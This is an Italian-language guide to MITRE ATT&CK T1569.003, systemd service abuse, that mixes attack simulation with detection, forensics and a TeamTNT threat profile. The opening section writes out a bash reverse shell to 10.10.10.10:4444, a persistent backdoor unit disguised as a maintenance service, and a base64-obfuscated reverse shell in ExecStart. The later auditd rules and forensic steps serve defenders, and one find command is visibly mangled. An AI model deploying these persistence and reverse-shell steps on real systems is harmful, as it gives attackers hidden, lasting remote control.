Controllo dei Servizi Linux: System Services - Systemctl (T1569.003)

Il test di questa tecnica richiede la creazione di un servizio systemd malevolo. Iniziamo creando un file di servizio in una posizione non standard per evitare detection immediate.

Creiamo prima il nostro payload. Un approccio comune è utilizzare uno script bash che stabilisce una reverse shell:

echo '#!/bin/bash' > /tmp/backdoor.sh echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /tmp/backdoor.sh chmod +x /tmp/backdoor.sh

Ora costruiamo il file di servizio systemd. La scelta della directory è cruciale - /tmp è spesso utilizzata dagli attaccanti ma facilmente monitorata:

cat > /tmp/backdoor.service << EOF
[Unit]
Description=System Maintenance Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

Per caricare il servizio dobbiamo copiarlo nella directory systemd e attivarlo:

sudo cp /tmp/backdoor.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable backdoor.service sudo systemctl start backdoor.service

Un approccio più sofisticato prevede il mascheramento del servizio. Possiamo clonare un servizio legittimo e modificarlo:

sudo cp /lib/systemd/system/cron.service /etc/systemd/system/system-update.service

Modifichiamo poi ExecStart per puntare al nostro payload. La chiave è mantenere nomi e descrizioni credibili per evitare sospetti durante audit superficiali.

Per testare la persistenza, verifichiamo che il servizio si riavvii automaticamente: sudo systemctl status system-update.service

Gli attaccanti spesso utilizzano tecniche di offuscazione aggiuntive. Un metodo efficace è incorporare il payload direttamente nel file di servizio usando base64:

ExecStart=/bin/bash -c "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=' | base64 -d | bash"

Il monitoraggio di systemctl richiede una strategia multistrato che combini analisi comportamentale e correlazione temporale. La detection efficace si basa su tre pilastri: monitoraggio delle esecuzioni, tracciamento delle modifiche ai servizi e correlazione degli eventi.

Configuriamo prima il logging dettagliato con auditd. Monitoriamo le esecuzioni di systemctl e le modifiche ai file di servizio:

sudo auditctl -w /usr/bin/systemctl -p x -k systemctl_execution sudo auditctl -w /etc/systemd/system/ -p wa -k systemd_changes sudo auditctl -w /lib/systemd/system/ -p wa -k systemd_changes

La vera sfida sta nel distinguere l'attività amministrativa legittima da quella malevola. Focalizziamoci su pattern anomali attraverso regole di correlazione.

Create alert per servizi creati in location non standard. I path sospetti includono /tmp, /dev/shm, /var/tmp e home directory degli utenti. Quando detectate creazione di file .service in queste location seguito da systemctl daemon-reload entro 5 minuti, l'alert dovrebbe scattare con priorità alta.

Monitorate i subcomandi critici di systemctl. I comandi start, enable e daemon-reload eseguiti fuori dalle finestre di manutenzione programmata sono indicatori chiave. Particolarmente sospetta è la sequenza: creazione servizio → daemon-reload → enable → start in rapida successione.

Per ridurre i falsi positivi, implementate una whitelist dei servizi legittimi. Mantenete un inventario dei servizi autorizzati e generate alert solo per servizi non riconosciuti. Utilizzate hash dei file di servizio per rilevare modifiche non autorizzate a servizi esistenti.

La correlazione temporale è fondamentale. Cercate pattern dove la creazione o modifica di un servizio è seguita da connessioni di rete anomale entro 30 minuti. Questo può indicare l'attivazione di una backdoor o di un miner.

L'analisi forense di un abuso systemctl richiede la ricostruzione meticolosa della sequenza di eventi attraverso molteplici artefatti. Il punto di partenza sono i log di auditd che catturano le syscall EXECVE per systemctl e CONFIG_CHANGE per le modifiche ai servizi.

Iniziate dall'esaminare /var/log/audit/audit.log cercando pattern di esecuzione systemctl. Le entry rilevanti conterranno la stringa "systemctl" nel campo exe e mostreranno i subcomandi utilizzati:

ausearch -k systemctl_execution --format csv | grep -E "start|enable|daemon-reload"

La timeline si costruisce correlando tre tipi di eventi: creazione del file di servizio, reload del daemon e avvio del servizio. Cercate timestamp ravvicinati che indichino automazione.

I file di servizio systemd contengono metadati preziosi. Esaminate /etc/systemd/system/ per servizi non standard controllando i timestamp di creazione e modifica. Il contenuto del campo ExecStart spesso rivela il payload malevolo.

find /etc/systemd/system -name ".service" -mtime -7 -exec stat {} ;*

I journal di systemd forniscono contesto aggiuntivo. Utilizzate journalctl per ricostruire l'attività del servizio sospetto:

journalctl -u nome-servizio-sospetto --since "7 days ago"

Prestate attenzione a servizi con nomi generici come "system-update" o "maintenance" che potrebbero mascherare attività malevole. I servizi legittimi hanno solitamente vendor preset in /lib/systemd/system/.

La persistenza viene confermata cercando link simbolici in /etc/systemd/system/multi-user.target.wants/. Questi indicano servizi configurati per l'avvio automatico.

Per casi complessi, esaminate i backup o snapshot del sistema per identificare quando il servizio malevolo è apparso per la prima volta. La differenza tra stati del sistema può rivelare l'intera catena di compromissione.

TeamTNT emerge come l'attore principale documentato nell'uso di questa tecnica, specializzandosi nel deployment di cryptominer attraverso servizi systemd persistenti. Questo gruppo si distingue per la rapidità di evoluzione delle tattiche e l'automazione spinta delle operazioni.

Il profilo operativo di TeamTNT mostra preferenza per target cloud e container mal configurati. Utilizzano systemctl per garantire che i loro miner sopravvivano a reboot e interventi di remediation superficiali. La loro infrastruttura si basa su server di comando e controllo distribuiti geograficamente per resilienza.

L'evoluzione delle loro tecniche suggerisce trend preoccupanti. Inizialmente focalizzati su sistemi Docker esposti, hanno ampliato il targeting includendo cluster Kubernetes e istanze cloud con credenziali deboli. L'uso di systemctl rappresenta una maturazione verso tecniche di persistenza più sofisticate.

Pattern geografici mostrano attività concentrate in regioni con alta densità di infrastrutture cloud: Europa occidentale, Nord America e Sud-est asiatico. I target preferenziali includono startup tecnologiche e università con risorse computazionali significative ma security posture immatura.

Le previsioni per l'evoluzione di questa tecnica includono l'integrazione con container escape per compromettere l'host dal container. Aspettiamoci anche l'uso di systemctl in combinazione con tecniche di lateral movement per propagare miner attraverso l'infrastruttura.

Il tool overlap con altri gruppi APT suggerisce possibile condivisione di TTP o mercato underground attivo. Monitorate forum underground per vendita di tool che automatizzano l'abuso di systemctl, indicatore di commoditizzazione della tecnica.

Analisi basata su MITRE ATT&CK Framework per la tecnica T1569.003. Riferimenti alle attività del gruppo TeamTNT e strategie di detection tramite auditd per monitoraggio syscall EXECVE e CONFIG_CHANGE.